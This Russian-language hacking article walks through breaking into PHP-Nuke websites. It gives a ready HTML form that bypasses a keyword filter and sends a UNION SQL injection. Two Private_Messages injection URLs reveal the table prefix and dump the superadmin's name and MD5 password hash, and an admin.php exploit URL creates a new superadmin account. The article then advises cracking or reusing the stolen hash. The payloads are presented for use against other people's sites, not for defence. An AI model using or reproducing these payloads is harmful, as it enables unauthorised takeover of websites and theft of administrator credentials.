Метод первый. После недавней публикации в Хакере способа взлома PHP-Nuke через хитрый запрос в строке, пользователи PHP-Nuke зашевелились.
Стали возмущаться злыми хакерами, и таки строить защиту.
Следует всё-таки заметить, что эта описанная дыра уже давно была описана в интернете, и патч для неё давно был выпущен. Но как всегда, хакер прорывается там, где царит безалаберность
🙂 Потусовавшись немного на форумах PHP-Nuke-ров. Мы заметили, что большинство закрывают дырку наиболее идиотским способом. Хотя он и работает именно против описанного способа
:-).
Вот код "защиты"
$query_string = getenv ("QUERY_STRING");
if (preg_match ("/UNION|FROM|OUTFILE|nuke_authors|nuke_users/i", $query_string)) {
die ("пошутил и хватит");
}
Его автор VHS которого можно найти под этим ником на сайте rus-phpnuke.com
А вот способ его обойти, делаем файл html и открываем его у себя на компьютере, тыкаем SUBMIT и всё.
<form name="form1" method="post"
action="http://SITE_ADRES/modules.php? name=Downloads&d_op=viewdownload">
<input name="cid" type="text" size="90"
value="2 UNION select counter, aid, pwd FROM nuke_authors/*">
<br>
<input type="submit" name="Submit" value="Submit">
<input type="reset" name="Submit2" value="Reset">
</form>
Вышеуказанная проверка, которую вставляют пользователи PHP-Nuke, лишь блокирует переменные приходящие из строки адреса, а ведь это не единственный способ их передавать.
Метод второй. Дело в том, что некоторые пользователи PHP-Nuke защищаются от sql-иньекций весьма странным образом.
Они просто переименовывают префиксы баз данных полагая, что раз уж они их переименовали, то всё будет окей.
Но вдруг на нескольких сразу сайтах
появляется способ вытащить имена таблиц БД из PHP-Nuke. К сожалению первого автора установить не удалось, но мы приводим здесь код. И заодно способ взлома. К сожалению для использования
возможно придется зарегистрироваться, но ведь пользователи нюки обещают "не дарить и не продавать и не распространять информацию"
🙂
http://SITE_ADRES/modules.php?name=Private_Messages &file=index&folder=savebox&mode=read&p=99&
pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%
20SELECT%20aid,null,pwd,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null%20FROM%20nuke_authors
%20WHERE%20radminsuper=1%20LIMIT%201/*
В результате на экране Вы увидите странного вида строку, где будет виден префикс таблиц, например nuke2, значит в запросе, который приведен ниже, вставляем вместо NAME_OF_TABLE - nuke2_authors.
И после этого непосредственно приступаем к
процессу взлома.
http://SITE_ADRES/modules.php?name=Private_Messages &file=index&folder=savebox&mode=read&p=99&pm_sql_
user=AND%20pm.privmsgs_type=-99%20UNION%
20SELECT%20aid,null,pwd,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null%20FROM
%20NAME_OF_TABLE%20WHERE%20 radminsuper=1%20LIMIT%201/*
Получаем таинственный цифры - хэш md5 от пароля. Имя админа тоже выводится чуть выше цифр.
На страницах журнала уже неоднократно писалось, что делать с этими таинственными вылезшими цифрами, поэтому надеемся тут проблем не будет. Можно воспользоваться утилиткой
md5inside, можно напрямую подставить этот пароль. Можно прочитать статью "Как был взломан
sPaiZ-Nuke.net" на сайте Хакера, где подробнейшим образом
расписано, что делать дальше :-). И напоследок относительно свежий эксплоит к очень старой дырке:
http://siteaddress/admin.php?op=AddAuthor&add_aid= waraxe2&add_name=God&add_pwd=coolpass&
add_email=foo@bar.com&add_radminsuper=1&admin
=eCcgVU5JT04gU0VMRUNUIDEvKjox
Если дыра есть, то можно будет тут же войти в админку с логином/паролем
waraxe2/coolpass. Глупо, да? 🙂